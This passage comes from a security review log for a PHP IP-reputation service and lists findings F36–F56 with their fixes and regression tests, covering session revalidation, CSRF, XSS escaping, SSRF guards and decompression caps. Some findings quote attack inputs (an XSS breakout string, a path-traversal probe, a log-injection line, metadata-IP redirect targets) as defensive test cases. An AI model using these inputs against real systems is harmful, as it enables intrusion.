- **Status:** Fixed. `AuthRequiredMiddleware` now periodically
  revalidates the cached `UserContext` against `GET /api/v1/admin/me`.
  Cadence is configurable via `UI_SESSION_REVALIDATE_SECONDS` (default
  300 seconds — 5 minutes); the middleware tracks the last revalidation
  timestamp in a new `_revalidated_at` session slot owned by
  `SessionManager`. Branches:
  - **403 from the api** (`user_disabled` or `unknown impersonated user`)
    → session cleared, error flash "Your access was revoked. Please
    sign in again.", 302 to `/login`. The api's existing F11 disabled-
    user path drives this from the server side, so `Disabled` /
    deleted users are kicked off all live sessions within one
    revalidation window.
  - **404** → defensive same-as-403 (the api currently always returns
    403 for missing/disabled users; treat 404 the same way for safety).
  - **200 with changed role / display\_name / email** →
    `SessionManager::updateUser()` rewrites the cached row but
    preserves `_authenticated_at` / `_last_active` so the 8h idle and
    24h absolute timeouts keep running off the original login.
  - **200 unchanged** → just bump `_revalidated_at`.
  - **api unreachable / 401 / 5xx / generic** → log a warning, mark
    revalidated to avoid grinding on every request, and proceed with
    the existing session. An api outage must not lock every live
    session out, and the api itself is the authoritative gate on
    every data call (it re-resolves the principal via
    `X-Acting-User-Id` per request, F11), so a stale UI cache during
    an outage cannot escalate privilege.
  Pre-F36 ("legacy") sessions without `_revalidated_at` are
  bootstrapped on first sight without an api call, so existing
  rolling sessions don't all stampede the api on deploy. Tests:
  `ui/tests/Integration/Auth/SessionRevalidationTest.php` covers
  within-interval (no api call), past-interval-no-change,
  past-interval-role-changed (admin → viewer is reflected
  immediately), `user_disabled` and unknown-user kick paths,
  api-unreachable-keeps-session, and the legacy-session bootstrap.

### F37 — Local-admin password hash algorithm not validated at boot
- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
  legacy `$1$…` MD5-crypt string would have it accepted. Use
  `password_get_info()` and refuse to enable local-admin if the
  algorithm is below threshold.
- **Severity: 1**
- **Status:** Fixed. `App\App\Config::validateOrExit` (called from
  `Bootstrap::run()` before `Container::build()`) now refuses to boot
  when `LOCAL_ADMIN_ENABLED=true` and the configured
  `LOCAL_ADMIN_PASSWORD_HASH` is anything other than Argon2id or
  bcrypt with cost ≥ 12 (new `Config::BCRYPT_MIN_COST` constant). The
  algorithm is read via `password_get_info()`, so unknown / legacy
  formats (`$1$…` md5-crypt, `$5$…` sha256-crypt, plain text, base64
  noise) all collapse into the rejection branch with the same
  human-readable message pointing the operator at
  `password_hash('…', PASSWORD_ARGON2ID)`. argon2i is also rejected
  because it doesn't meet the SEC_REVIEW threshold even though
  `password_hash` accepts it. Tests: bypass the validator (the
  `Bootstrap::container()` test path is unchanged), so existing
  fixtures continue to use Argon2id without ceremony. Regression
  tests in `ui/tests/Unit/App/ConfigTest.php` cover Argon2id-accept,
  bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject,
  md5-crypt-reject, plain-string-reject, empty-string-reject, and
  the "local admin disabled, hash not checked" branch (operators who
  run OIDC-only don't have to invent a strong dummy hash).

### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
- **Risk:** When `localAdminEnabled === false`, the controller 404s
  with no rate-limit. Worker threads still serve the request — a
  cheap DoS lever on environments with the local path disabled.
- **Severity: 1**
- **Status:** Fixed. `LocalLoginController::postLocal` now records a
  `LoginThrottle` failure on the disabled-path branch before returning
  the 404. The bucket key is `('', source_ip)` — an empty username
  sentinel — so all hits from one source IP fold into the same per-IP
  bucket regardless of what username field the attacker happens to
  submit, defeating a rotating-username spray. Once locked, additional
  hits skip `recordFailure` (the gate is `if (!isLocked) recordFailure`),
  so the throttle file size is bounded by the lockout ladder rather
  than by attacker request volume. The 404 status code is preserved on
  both the locked and unlocked branches so the response doesn't leak
  the lockout state to a probing attacker. Regression tests in
  `ui/tests/Integration/Auth/LocalLoginTest.php`:
  `testDisabledLocalAdminRecordsThrottleFailure` (5 hits with rotating
  usernames from one IP trip the lockout) and
  `testDisabledLocalAdminLockedHitDoesNotIncrementBucket` (50 more
  hits while locked don't extend the lockout window).

### F39 — Token base32 encoding has trailing-bit ambiguity
- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
  `api/src/Domain/Auth/TokenIssuer.php:26-43`
- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
  base32 char encodes only 4 useful bits — 32 possible last
  characters decode to 16 distinct values modulo the unused bit.
  No exploit found (lookup is by SHA-256 of the raw input), but the
  parser should refuse base32 strings whose final character has the
  unused bit set.
- **Severity: 1**
- **Status:** Fixed. The original review concern was based on the
  visible `if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); }`
  branch in `TokenIssuer::base32Encode`. For the actual input —
  `random_bytes(20)` = 160 bits — that branch was unreachable: 160 ÷ 5
  = 32 with zero remainder, every base32 char in the 32-char output
  carries a full 5 useful bits, and there is exactly one canonical
  encoding per input. So there are no unused trailing bits and no
  ambiguity in the existing scheme. The dead `str_pad` branch (the
  source of the false-positive impression) is removed; the encoder
  now hard-asserts `strlen($bytes) === 20` and throws
  `InvalidArgumentException` otherwise, so any future caller that
  passes a different length crashes loudly rather than silently
  emitting a non-canonical / shorter token. The 20-byte length is
  pinned via a new `TokenIssuer::ENTROPY_BYTES = 20` constant. The
  parser (`Token::parse`) keeps its `^[A-Z2-7]{32}$` body pattern;
  every 32-char base32 string is canonical for this scheme so no
  additional canonicality gate is needed. Regression test
  `TokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Chars`
  asserts the invariant across 100 fresh issuances.

### F40 — CSRF token never rotated on session-id regeneration
- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
  `ui/src/Auth/SessionManager.php:67-75, 77-82`
- **Risk:** `regenerateId()` rotates `session_id` on login but the
  `$_SESSION['_csrf']` token carries over across the privilege
  boundary. A pre-auth token leaked via referer or a sub-resource
  remains valid post-auth for the session lifetime. Standard
  hardening: regenerate the CSRF token on login/logout. (`clear()`
  resets `$_SESSION` to `[]` so logout is fine.)
- **Severity: 1**
- **Status:** Fixed. `SessionManager::regenerateId()` now also drops
  the `_csrf` slot on both branches (HTTP `session_regenerate_id(true)`
  and the CLI `rotateIdUnderCli` fallback). `CsrfMiddleware` lazily
  mints a fresh token on the next request when the slot is missing,
  and every call site of `regenerateId()` is followed by a 303 / 302
  redirect (no template render in the same request), so the next
  protected GET re-issues a clean token before any state-changing
  request. `clear()` already wipes `$_SESSION` outright on logout, so
  the rotate-on-id-rotate hook on `regenerateId` covers the login
  direction; an attacker who scraped the pre-auth token via Referer
  or a sub-resource leak cannot replay it post-auth. New `KEY_CSRF`
  constant on `SessionManager` mirrors `CsrfMiddleware::SESSION_KEY`
  to avoid a domain → http-layer dependency. Regression tests in
  `ui/tests/Unit/Auth/SessionManagerTest.php`
  (`testRegenerateIdRotatesCsrfTokenInCliMode` /
  `…InHttpMode`) and end-to-end through Slim in
  `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary`).

### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
  `api/src/Application/Admin/ConsumersController.php:184-190`
- **Risk:** Admin-gated, but an attacker with Admin can silently
  disable `report.received` / `blocklist.requested` audit emission
  for a reporter/consumer before performing further activity, then
  re-enable. No special-class audit signal flags the toggle.
- **Severity: 1**
- **Status:** Fixed. Two new audit actions —
  `AuditAction::REPORTER_AUDIT_TOGGLED` (`reporter.audit_toggled`) and
  `AuditAction::CONSUMER_AUDIT_TOGGLED` (`consumer.audit_toggled`) —
  fire from the PATCH handlers whenever `audit_enabled` actually flips
  (no-ops, e.g. PATCHing the field to its current value, do not emit).
  The standard `reporter.updated` / `consumer.updated` rows continue
  to carry the full field diff for context, so existing observers
  keep working; the new action is the flat alertable signal SOC
  tooling can match on with `WHERE action IN ('reporter.audit_toggled',
  'consumer.audit_toggled')` rather than walking into the metadata
  `changes` blob. Both rows live in the same DB transaction as the
  underlying update, so a partial commit cannot hide the toggle
  while the field flips. The UI's `AuditController` filter dropdown
  is extended to expose the new actions. Regression tests in
  `api/tests/Integration/Admin/ReportersControllerTest.php` and
  `…/ConsumersControllerTest.php`:
  `testAuditEnabledToggleEmitsDedicatedAuditRow` (toggle fires both
  rows; metadata records `from`/`to` booleans) and
  `testAuditEnabledNoOpDoesNotEmitDedicatedRow` (PATCH with the same
  value does not fire the dedicated signal).

### F42 — UI policy proxy controllers rely entirely on API for role enforcement
- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
  `getUser() === null` and forward to the API with the session userId
  as `X-Acting-User-Id`. Currently safe because API gates the
  underlying endpoint to Viewer, but if the API role drifts the UI
  silently allows access until an API 403 surfaces. Defense-in-depth:
  enforce the role expectation in the UI controller.
- **Severity: 1**
- **Status:** Fixed. New `PoliciesController::PROXY_ALLOWED_ROLES =
  ['viewer', 'operator', 'admin']` constant captures the api's
  Viewer-or-higher gate. Both proxy methods now early-return 403 with
  a `{"error": "forbidden"}` JSON body when the session user's role
  isn't in that allowlist — covering `none`, the empty string, and
  any unrecognised role string. The api is not called in that branch,
  so a `none`-role session that somehow reached the protected
  `/app/*` route group cannot use the proxy as a probe channel.
  AuthRequiredMiddleware still intercepts truly-anonymous requests
  earlier in the chain (302 → /login); the controller's own 401
  branch is the defence-in-depth fallback for any future route
  reshuffle that pulls the proxy out of `/app/*`. Regression tests:
  `ui/tests/Integration/Auth/PoliciesProxyTest.php` covers
  anonymous-redirect, none-role-403 + zero-api-calls,
  score-distribution-proxy mirror, viewer-allowed,
  operator-and-admin-allowed, unknown-role-rejected, and
  empty-role-rejected.

### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
- **Files:** `api/src/App/AppFactory.php:256`,
  `ui/src/App/AppFactory.php:130`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** `.+` matches multi-segment paths. Currently safe because
  `IpAddress::fromString` rejects non-IP strings, but any future
  reuse of `$args['ip']` as a filename, log key, or downstream URL
  component inherits a path-traversal sink. Tighten to a strict IP
  charset regex.
- **Severity: 1**
- **Status:** Fixed. Both routes now use the strict pattern
  `[0-9a-fA-F.:%]+` instead of `.+`:
  - `api/src/App/AppFactory.php` — `GET /api/v1/admin/ips/{ip:[0-9a-fA-F.:%]+}`
  - `ui/src/App/AppFactory.php` — `GET /app/ips/{ip:[0-9a-fA-F.:%]+}`
  The charset covers IPv4 dotted-quad (digits + `.`), IPv6 hex (digits
  + a-f/A-F + `:`), and the `%` byte that survives the UI's
  `rawurlencode($ip)` for IPv6 colons (e.g. `2001%3Adb8%3A%3A1`)
  before the controller's `rawurldecode`. Anything outside that —
  `/`, `..`, `?`, spaces, dashes, brackets — fails to match the route
  and 404s before the handler can read `$args['ip']`. The handler's
  existing `IpAddress::fromString` validation is kept as a second
  layer (still rejects e.g. `999.999.999.999` which is in the
  charset but not a valid IP). Regression tests:
  `api/tests/Integration/Admin/IpsControllerTest.php` —
  `testDetailRejectsNonIpShapedPaths` data-provider covers path
  traversal (`..%2Fetc%2Fpasswd`), multi-segment paths (`/192.0.2.1/extra`),
  query-injection probes, backslashes, spaces, dashes, and bracketed
  IPv6 (`[2001:db8::1]`) — all 404 at the route layer. The existing
  `testDetail404OnInvalidIp` (using `not-an-ip` with a dash) and
  `testDetailRendersForUnknownIpWithCleanStatus` (using
  `198.51.100.99`) document the 404-via-route vs.
  200-via-handler split.

### F44 — Job name not strictly regex-validated before audit emission
- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
- **Risk:** `registry->has($name)` is the gate. A future change that
  trims/url-decodes inside `has()` could turn the audit-emit path
  into log injection or forged audit entries. Validate against
  `^[a-z0-9_-]+$` in the controller.
- **Severity: 1**
- **Status:** Fixed. New `JobsAdminController::JOB_NAME_PATTERN`
  constant `^[a-z0-9_-]+$`; `trigger()` now `preg_match`s the
  `{name}` segment against it as the first thing it does, returning
  the same 404 `unknown_job` envelope used for the missing-job
  branch. The check runs *before* `registry->has()` and *before* the
  `job.triggered` audit emit, so a future refactor that turns
  `has()` permissive on trim/url-decode/case-folding cannot escalate
  the route into log injection or forged audit entries. Regression
  tests in
  `api/tests/Integration/Admin/JobsAdminControllerTest.php` —
  `testTriggerRejectsMalformedJobName` data-provider covers
  uppercase, dotted, space, CR/LF injection, brackets, percent-
  encoded space, and `..` — every case must 404 AND leave zero
  `job.triggered` rows in `audit_log`.

### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
  `192.168.0.0/16`, plus loopback. Any container reachable on the
  internal docker network passes the network gate. Safer: pin to a
  named docker-compose network or to the explicit scheduler IP.
- **Severity: 1**
- **Status:** Fixed by the F25 fix (`33e9198`). The hardcoded RFC1918
  list is gone; `InternalNetworkMiddleware::DEFAULT_ALLOWED_CIDRS` is
  now `['127.0.0.1/32', '::1/128']` and the constructor takes an
  explicit allowlist. The container wires that allowlist from the new
  `INTERNAL_CIDR_ALLOWLIST` env var (parsed via
  `InternalNetworkMiddleware::parseCidrList`); empty env →
  loopback-only. The bundled scheduler also moved to
  `network_mode: "service:api"` (so its calls land on `127.0.0.1`),
  removing the only legitimate non-loopback caller in the default
  topology — operators with a host-cron VM or other private-bridge
  caller opt in by listing the explicit IP/CIDR. The earlier finding
  text predates the F25 fix; closing here for bookkeeping. Regression
  tests in
  `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
  `defaultAddressProvider` includes `rfc1918 10/8 rejected by
  default`, `rfc1918 172.16/12 rejected by default`, `rfc1918
  192.168/16 rejected by default`, and the loopback admit cases —
  every previously-permissive RFC1918 source now 404s under the
  default config.

### F46 — LIKE wildcard injection in IPs search `q`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
  meta-characters are not escaped. `?q=%` matches every row;
  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
  validator only `trim()`s `q`; no length cap.
- **Status:** Fixed by the F30 fix (`2cc1924`).
  `IpsController::parseSearchFilters` now rejects any `q` not matching
  `^[0-9a-fA-F:.]+$` or longer than 64 chars with 400
  `validation_failed`; neither `%` nor `_` survives the charset, and
  the source comment cites both F30 and F46. The repository's LIKE
  path also re-validates with the same regex (defence-in-depth) and
  only ever issues `s.ip_text LIKE 'q%'`. The earlier finding text
  predates that fix; closing here for bookkeeping. Regression tests
  in `api/tests/Integration/Admin/IpsControllerTest.php`:
  `testSearchRejectsNonIpShapedQuery` covers `?q=%` and `?q=_____`
  among other malformed shapes; `testSearchRejectsOverlongQuery`
  caps the length at 64 chars.
- **Severity: 1**

### F47 — Unbounded length on string filters reaching SQL
- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
  `subject_id` are accepted as arbitrary-length strings. Bound
  parametrically (no SQLi) but multi-megabyte values are happily
  forwarded to the prepared statement, wasting RAM/CPU per request.
  Apply max length 128 plus an allowlist regex on `*_kind` fields.
- **Severity: 1**
- **Status:** Fixed. The 128-char length cap from F31's fix
  (`MAX_FILTER_LENGTH`) already covers `action`, `entity_type`,
  `entity_id`, `subject_kind`, and `subject_id` — the
  multi-megabyte-payload concern. F47 also asked for an allowlist
  regex on the `*_kind` fields. New
  `AuditController::KIND_PATTERN = '/^[a-z0-9][a-z0-9_-]*$/'`
  applies to `entity_type` and `subject_kind`; `actor_kind` and
  `actor_via` were already in-array-allowlisted. The pattern matches
  every real `target_type` / `actor_kind` value the audit emitter
  writes (`reporter`, `consumer`, `admin-token`, `manual_block`,
  `oidc_role_mapping`, …) and rejects uppercase, dots, spaces, CR/LF,
  and leading-dash inputs that wouldn't match any column value
  anyway. Regression test
  `AuditLogControllerTest::testKindFilterCharsetGate` covers
  `entity_type` and `subject_kind` reject paths plus a
  smoke-pass for known good kinds.

### F48 — MaxMind tarball extraction has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
  so direct path-traversal is mitigated, but there is no per-entry
  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
  manually and enforce a max uncompressed size.
- **Severity: 1**
- **Status:** Fixed. New `MaxMindDownloader::assertSizeBudget` walks
  the `PharData` (via `RecursiveIteratorIterator` so it descends
  into the nested `GeoLite2-…/` directory) BEFORE
  `extractTo`, summing each entry's `getSize()` (uncompressed) and
  throwing `DownloaderException` if any single entry exceeds
  `MAX_ENTRY_BYTES = 200 MiB` or the total exceeds
  `MAX_TOTAL_BYTES = 400 MiB`. Real GeoLite2 MMDBs are ~6–7 MiB; the
  caps are generous against future growth while bounding the
  worst-case at "no single entry can fill a small disk". The check
  runs in `fetchEdition()` immediately after `new PharData($tarPath)`,
  so a bomb tarball never gets a single decompressed byte on disk.
  Helper is `public` with `@internal` so the unit test can drive it
  with small caps without building a >200 MiB fixture; production
  call site uses the defaults. Regression tests in
  `api/tests/Unit/Enrichment/MaxMindDownloaderTest.php`:
  `testNormalArchivePasses` (small fixtures pass with default
  caps), `testEntryOverPerEntryCapIsRejected` (4 KiB entry rejected
  under 1 KiB cap, message includes the offending size), and
  `testTotalOverArchiveCapIsRejected` (three 1 KiB entries breach a
  2 KiB total cap), plus `testNestedEntriesAreCounted` to prove the
  recursive iteration descends into the date-stamped subdirectory
  the real MaxMind tarball nests.

### F49 — DB-IP gunzip has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
- **Risk:** `gzdecode($compressed)` allocates the full decompressed
  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
  misconfiguration) could serve a tiny gzip whose decompressed form
  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
  bail past a threshold.
- **Severity: 1**
- **Status:** Fixed. `DbipDownloader::gunzip` now streams via
  `gzopen` / `gzread` 64 KiB at a time (peak memory = the chunk, not
  the file) and aborts with `DownloaderException` once the running
  total exceeds `MAX_DECOMPRESSED_BYTES = 400 MiB`. The cap matches
  the MaxMind tarball total cap from F48 so both downloaders agree
  on what "too big" looks like; real `dbip-country-lite-*.mmdb` is
  ~10 MiB, so the cap is generous against future growth. On cap
  breach (or any other gunzip error), the partial output file is
  unlinked so the caller never sees a half-decoded MMDB on disk;
  the gz input is left in place so the operator can see what was
  attempted. The gunzip helper is split into a private `gunzip()`
  with the production cap and a `public @internal gunzipWithCap()`
  that takes the cap as an argument so the unit test can drive it
  with small fixtures instead of building 400 MiB of test data.
  Regression tests in
  `api/tests/Unit/Enrichment/DbipDownloaderTest.php`:
  `testNormalGunzipPasses`, `testOutputOverCapIsRejectedAndCleanedUp`
  (4 KiB plaintext under a 1 KiB cap → exception + no partial output
  file), `testEmptyGzipIsRejected`, `testMissingInputIsRejected`,
  and `testLargeInputStreamsCorrectly` (256 KiB through the chunked
  loop, ensuring chunked accumulation works correctly across multiple
  reads).

### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
- **File:** `api/src/App/Container.php:279-288`
- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
  constraints. A malicious upstream or DNS poisoning could 302 a
  download to `http://169.254.169.254/...` or `file://`. URL is a
  constant in the default deploy, so this is defence-in-depth.
  Mitigation:
  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
  plus a private-IP guard.
- **Severity: 1**
- **Status:** Fixed. Two layers added to the GeoIP-downloader Guzzle
  client in `api/src/App/Container.php`:
  1. **Tight `allow_redirects`.** `['max' => 3, 'protocols' =>
     ['https'], 'strict' => true, 'referer' => false,
     'track_redirects' => false]`. Caps the chain at 3 hops, refuses
     to follow `http://` or `file://` redirects, and never sends a
     Referer.
  2. **`PrivateHostGuardMiddleware`.** New handler-stack middleware
     in `api/src/Infrastructure/Enrichment/Downloaders/`. Inspects
     the URL's literal host on every outgoing request — including
     each redirect target — and throws
     `GuzzleHttp\Exception\TransferException` before opening a socket
     to a loopback / link-local / RFC1918 / CGNAT / multicast
     address (IPv4 + IPv6) or a known instance-metadata hostname
     (`169.254.169.254`, `metadata.google.internal`, `localhost`,
     `0.0.0.0`). The post-redirect
     `http://169.254.169.254/...` / `https://localhost/...` /
     `https://10.0.0.1/...` patterns therefore die at the request
     layer rather than reaching the network. The guard inspects
     literal hosts only — pinning DNS to catch a public hostname
     pointing at a private IP is out of scope for "defence in depth";
     the primary controls are the constant base URL plus the
     `protocols => ['https']` redirect gate.
  Regression tests in
  `api/tests/Unit/Enrichment/PrivateHostGuardMiddlewareTest.php`:
  17 blocked-host data-provider cases (IPv4 + IPv6 across loopback,
  link-local, RFC1918, CGNAT, multicast, all-zero, metadata IP,
  metadata hostname, `localhost`), 6 allowed-host cases (`download.
  db-ip.com`, `download.maxmind.com`, `ipinfo.io`, just-outside-
  172.16/12, `1.1.1.1`, public IPv6), `testFactoryProducesMiddleware
  ThatGuardsBeforeHandler` proving the inner handler is not
  invoked on the blocked branch, and `testEmptyHostIsRejected`.

### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
- **Risk:** Safe today because the only caller passes a typed list,
  but the `sprintf` pattern is fragile. Add
  `array_filter($groupIds, 'is_string')` to make the contract
  explicit.
- **Severity: 1**
- **Status:** Fixed. `RoleMappingRepository::resolveRole` now does
  `array_values(array_filter($groupIds, 'is_string'))` as the first
  step, so the `count($groupIds)` placeholder generation and the
  bind-list always agree even when a future caller passes a mixed
  array, a hash with skipped indexes, or anything else that violates
  the PHPDoc `list<string>` contract. After filtering, the empty
  case correctly falls back to the default role. Regression tests
  in `api/tests/Integration/Auth/RoleMappingRepositoryTest.php`:
  - happy-path highest-role-resolution and default-fallback,
  - non-string entries are filtered, retaining valid string IDs,
  - all-non-string list collapses to the default,
  - a hash with non-contiguous keys (`[5 => 'group-x', 12 => '…']`)
    is re-keyed and the IN clause still works.

### F52 — Reporter / consumer / category `name`/`reason` accept control characters
- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
  `ConsumersController.php:67-70`,
  `ManualBlocksController.php`, `AllowlistController.php`,
  `CategoriesController.php`
- **Risk:** NULs, newlines, ANSI escapes land in
  `audit_log.target_label` and `details_json`. Twig auto-escapes for
  display, but log-injection (`\n[CRIT] fake event`) is possible
  downstream. Strip control chars and NFC-normalise at the input
  boundary.
- **Severity: 1**
- **Status:** Fixed. New `AdminControllerSupport::stripControlChars`
  and `cleanString` helpers strip C0 (`0x00..0x1f`), DEL (`0x7f`),
  and C1 (`0x80..0x9f`) bytes. Applied at every relevant call site
  on both create and update paths in:
  - `ReportersController` — `name`, `description`,
  - `ConsumersController` — `name`, `description`,
  - `CategoriesController` — `name`, `description` (slug is already
    regex-validated to lowercase + `_`-only),
  - `ManualBlocksController` — `reason`,
  - `AllowlistController` — `reason`.
  The strip removes the ESC byte that leads ANSI escape sequences,
  so terminal-interpretation attacks on log viewers (`\u{001b}[31m`)
  collapse — the trailing `[31m` text remains visible but inert
  without the lead-in. NULs and newlines (`\n[CRIT] fake event`)
  are gone outright. NFC normalisation was deliberately skipped —
  the api doesn't require `ext-intl` and adding the dependency for
  a defence-in-depth nice-to-have isn't worth the install-footprint
  cost. The `details_json` audit blob inherits the scrub because
  the controllers feed the cleaned `name` / `description` / `reason`
  into the audit emit. Regression tests:
  `api/tests/Integration/Admin/InputControlCharStrippingTest.php` —
  one POST per controller plus a PATCH on the reporter update path,
  asserting both that the control bytes are gone (`preg_match(
  '/[\x00-\x1f\x7f-\x9f]/u', value) === 0`) and that the
  surrounding visible payload round-trips byte-for-byte. The
  reporter case also drills into `audit_log.target_label` and
  `details_json` to prove the audit row never sees the raw bytes.

### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
- **Risk:**
  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
  HTML-decodes the attribute before Alpine evaluates it as JS, so
  `&#039;` becomes a literal `'` and breaks out of the JS string. If
  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
  Use `e('js')` for content interpolated into a JS-attribute.
- **Severity: 1**
- **Status:** Fixed by the F24 fix (`193f646`). When the CSP dropped
  `'unsafe-inline'` and `'unsafe-eval'`, all inline-eval Alpine
  patterns had to be rewritten — the categories edit template now
  reads:
  ```html
  <div x-data="decayPreview"
       data-decay-fn="{{ category.decay_function }}"
       data-decay-param="{{ category.decay_param }}">
  ```
  `x-data="decayPreview"` is the component name only (no inline JS
  interpolation), and the value flows via Twig's default `e('html')`-
  escaped HTML data attribute. The Alpine component reads it via
  `this.$el.dataset.decayFn` — a string DOM read, never `eval`.
  `app.js` further whitelists the value to the known enum:
  `ds.decayFn === 'linear' ? 'linear' : 'exponential'` — so even if
  a value somehow drifted, only the two known states map. No
  Alpine-side regression test (no JS-interpreted Twig escaping path
  remains in the template), but the rewritten pattern is one of the
  CSP-build cases the F24 work covered.

### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
- **Risk:** Token validation is correct (constant-time compare,
  256-bit entropy). Missing layered checks. No JSON-body extraction
  path (the middleware reads only header or `getParsedBody()`); fine
  today, brittle for future PUT/PATCH endpoints with JSON.
- **Severity: 1**
- **Status:** Fixed. Two new layers on top of the existing
  constant-time token compare:
  1. **Same-origin gate.** State-changing requests with a present
     `Origin` (or, when `Origin` is absent but `Referer` is present,
     with a `Referer`) whose scheme+host+port doesn't match the
     request URI's are refused with 403 BEFORE the token check, so a
     cross-origin attacker who somehow exfiltrated the token cookie
     still can't fire a same-token cross-origin POST.
     `Origin: null` (sandboxed iframes / file:// pages) and the
     "neither header present" branch fall through to the token-only
     path — the curl/programmatic clients the test suite uses; modern
     browsers always send `Origin` on POST/PUT/PATCH/DELETE.
     Default ports (`:443` for https, `:80` for http) are normalised
     out so `https://example.com` and `https://example.com:443`
     compare equal.
  2. **JSON body extraction.** `extractToken` now also reads
     `csrf_token` from the JSON request body when
     `Content-Type: application/json`, so a future fetch-with-JSON
     PUT/PATCH endpoint inherits CSRF protection without a per-route
     shim. Existing form-encoded and `X-CSRF-Token` header paths are
     unchanged.
  Regression tests in `ui/tests/Unit/Http/CsrfMiddlewareTest.php`:
  cross-origin Origin → 403, same-origin Origin → 200,
  Referer-fallback when Origin absent (same- and cross-origin),
  `Origin: null` deferring to the token check, JSON-body token
  accepted, JSON-body wrong token → 403.

### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
  Alpine runs the attribute through. Backticks aren't escaped,
  Unicode permissive. A maintainer footgun more than an exploit.
  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
  pattern already used in `dashboard.twig`).
- **Severity: 1**
- **Status:** Fixed by the F24 fix (`193f646`), the same CSP-
  tightening migration that resolved F53. The previously-vulnerable
  pattern
  ```html
  x-data="scoreOverTime({
    reports: {{ score_chart.reports|json_encode|e('html_attr') }},
    ...
  })"
  ```
  was rewritten to the exact pattern F55 recommended:
  ```html
  x-data="scoreOverTime"
  data-score-chart="{{ {reports: …, categories: …, now: …}
                       |json_encode|e('html_attr') }}"
  ```
  The `e('html_attr')` filter now escapes for the actual context
  (HTML attribute), and `app.js` reads
  `JSON.parse(this.$el.dataset.scoreChart)` — a string DOM read
  followed by a JSON parse, never an Alpine eval. Closing F55 for
  bookkeeping; no new code change needed.

### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
  `pages/categories/edit.twig:111-135`,
  `pages/policies/edit.twig:139-422`,
  `pages/audit/index.twig:102-131`,
  `layout.twig:9-22`
- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
  (F24). Migrating to per-request nonces, or moving these scripts
  into a packaged `/assets/app.js`, lets the CSP drop the
  `'unsafe-inline'` token.
- **Severity: 1**
- **Status:** Fixed by the F24 fix (`193f646`). Both migration paths
  the SEC_REVIEW recommended were applied:
  1. Per-page inline scripts in `pages/ips/detail.twig`,
     `pages/categories/edit.twig`, `pages/policies/edit.twig`, and
     `pages/audit/index.twig` are gone — their behaviour was moved
     into Alpine components in the packaged `ui/resources/js/app.js`,
     loaded via `<script src="/assets/app.js" defer>` in `layout.twig`.
  2. The single remaining inline `<script>` (the dark-mode FOUC
     preloader in `layout.twig` — has to stay inline because `app.js`
     is `defer`red and runs after layout) now carries
     `nonce="{{ csp_nonce }}"`, where `csp_nonce` is minted per
     request by `App\Http\CspMiddleware` and matched on the response's
     `Content-Security-Policy` header.
  Result: `script-src` is now `'self' 'nonce-…'` only —
  `'unsafe-inline'` is gone. `grep -rn "<script" ui/resources/views`
  returns exactly the two layout.twig hits (one inline-with-nonce,
